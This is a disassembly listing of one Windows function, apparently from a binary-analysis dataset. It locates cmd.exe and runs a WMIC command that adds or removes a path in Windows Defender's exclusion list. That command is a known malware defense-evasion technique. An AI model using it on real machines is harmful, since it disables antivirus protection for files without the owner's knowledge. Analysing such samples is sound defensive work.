Function at 0x41dfbc
Capabilities:
Query environment variable

Disassembly:
push ebx
push edi
xor eax, eax
push eax
push eax
push eax
call fcn.00487690
mov edx, dword [esp + 0x18]
lea ecx, [esp]
call fcn.00442000
push edx
call fcn.004874f0
pop edx
push eax
push edx
call fcn.004874f0
pop edx
push eax
push 1
push dword [esp + 0xc]
call fcn.004854b0
call fcn.00487620
mov edx, 0x55c720
pop ecx
push ecx
call fcn.004426e0
mov ecx, eax
call fcn.00442660
je 0x41e03c
push edx
call fcn.004874f0
pop edx
push eax
push edx
call fcn.004874f0
pop edx
push eax
push dword [esp + 8]
call fcn.00484df0
mov ebx, eax
dec ebx
push ebx
push dword [esp + 0xc]
call fcn.00485c10
lea eax, [esp + 4]
push eax
call fcn.00487590
call fcn.0046b263
mov ebx, eax
cmp ebx, 0x64
jl 0x41e246
push edx
call fcn.004874f0
pop edx
push eax
push edx
call fcn.004874f0
pop edx
push eax
push 0x3e8
call fcn.00484bf0
lea eax, [esp + 8]
push eax
call fcn.00487590
push 0x3e8
mov eax, dword [esp + 8]
push eax
mov eax, str.WINDIR
push eax
call sub.KERNEL32.dll_GetEnvironmentVariableW
mov edx, dword [esp + 4]
push edx
call fcn.004874f0
pop edx
push eax
push edx
call fcn.00487530
mov edx, str.System32
push edx
call fcn.00487530
lea eax, [esp + 0xc]
push eax
call fcn.00487590
push edx
call fcn.004874f0
pop edx
push eax
mov edx, dword [esp + 8]
push edx
call fcn.004874f0
pop edx
push eax
push edx
call fcn.00487530
mov edx, str.Sysnativecmd.exe
push edx
call fcn.00487530
call fcn.004426b2
add dword [esp], edx
call fcn.0046cf58
call fcn.004426d0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x41e0f7
jl 0x41e0f3
cmp ebx, 0
ja 0x41e0f7
xor eax, eax
jmp 0x41e0fc
mov eax, 1
or eax, eax
je 0x41e129
mov edx, dword [esp + 4]
push edx
call fcn.004874f0
pop edx
push eax
push edx
call fcn.00487530
mov edx, str.Sysnative
push edx
call fcn.00487530
lea eax, [esp + 8]
push eax
call fcn.00487590
jmp 0x41e150
mov edx, dword [esp + 4]
push edx
call fcn.004874f0
pop edx
push eax
push edx
call fcn.00487530
mov edx, str.System32
push edx
call fcn.00487530
lea eax, [esp + 8]
push eax
call fcn.00487590
mov ebx, dword [esp + 0x1c]
and ebx, ebx
jle 0x41e1d0
push edx
call fcn.004874f0
pop edx
push eax
push 3
push dword [esp + 0x10]
push edx
call fcn.004874f0
pop edx
push eax
mov edx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Add_ExclusionPath_
push edx
call fcn.00487530
mov edx, dword [esp + 0x10]
push edx
call fcn.00487530
mov edx, 0x55b094
push edx
call fcn.00487530
call fcn.00487620
mov edx, dword [esp + 0x14]
push edx
call fcn.004874f0
pop edx
push eax
push edx
call fcn.00487530
mov edx, str.cmd.exe
push edx
call fcn.00487530
call fcn.004426b2
add dword [esp], edx
call fcn.004426b2
add dword [esp + 4], edx
call fcn.0045ecee
call fcn.004426d0
jmp 0x41e246
push edx
call fcn.004874f0
pop edx
push eax
push 3
push dword [esp + 0x10]
push edx
call fcn.004874f0
pop edx
push eax
mov edx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Remove_ExclusionPath_
push edx
call fcn.00487530
mov edx, dword [esp + 0x10]
push edx
call fcn.00487530
mov edx, 0x55b094
push edx
call fcn.00487530
call fcn.00487620
mov edx, dword [esp + 0x14]
push edx
call fcn.004874f0
pop edx
push eax
push edx
call fcn.00487530
mov edx, str.cmd.exe
push edx
call fcn.00487530
call fcn.004426b2
add dword [esp], edx
call fcn.004426b2
add dword [esp + 4], edx
call fcn.0045ecee
call fcn.004426d0
xor eax, eax
push dword [esp + 8]
call fcn.004876f0
push dword [esp + 4]
call fcn.004876f0
push dword [esp]
call fcn.004876f0
add esp, 0xc
pop edi
pop ebx
ret 8